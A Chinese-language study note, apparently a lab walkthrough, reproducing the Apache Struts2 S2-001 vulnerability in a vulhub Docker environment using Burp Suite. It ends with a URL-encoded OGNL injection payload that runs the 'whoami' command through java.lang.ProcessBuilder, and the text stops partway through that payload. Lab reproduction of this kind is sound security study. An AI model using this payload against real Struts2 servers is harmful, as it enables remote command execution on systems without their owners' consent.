本文为学习笔记,仅限学习交流。
不得利用、从事危害国家或人民安全、荣誉和利益等活动。
请参阅《中华人民共和国网络安全法》
简介&准备:
1、centos7 已开启docker :systemctl restart docker.service
2、进入vulhub —struts2 : cd vulhub/struts2
3、启用测试环境:docker-compose up -d (参照模块下的说明文档)
4、PC机打开网址:youIP:8080 (参照模块下的说明文档)
5、开启BP抓包测试,修改Payload
复现成功!
6、查看日志
s2-001 复现全过程:
1、开启docker
进入vulhub —struts2—s2-001
命令:cd vulhub/struts2/s2-001
查看s2-001目录
命令:ls
(Readme.md 英文说明, Readme.zh-cn.md 中文说明)
先查看说明文件 命令:cat Readme.zh-cn.md
启动容器(参照说明命令)
命令:docker-compose build
docker-compose up -d
2、PC机网页访问:
youIP :8080
显示登录页面
开启代理,开启BP 抓包
3、BP抓包,发送至Repeater模块
在用户名或密码处尝试修改payload:
%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22whoami%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29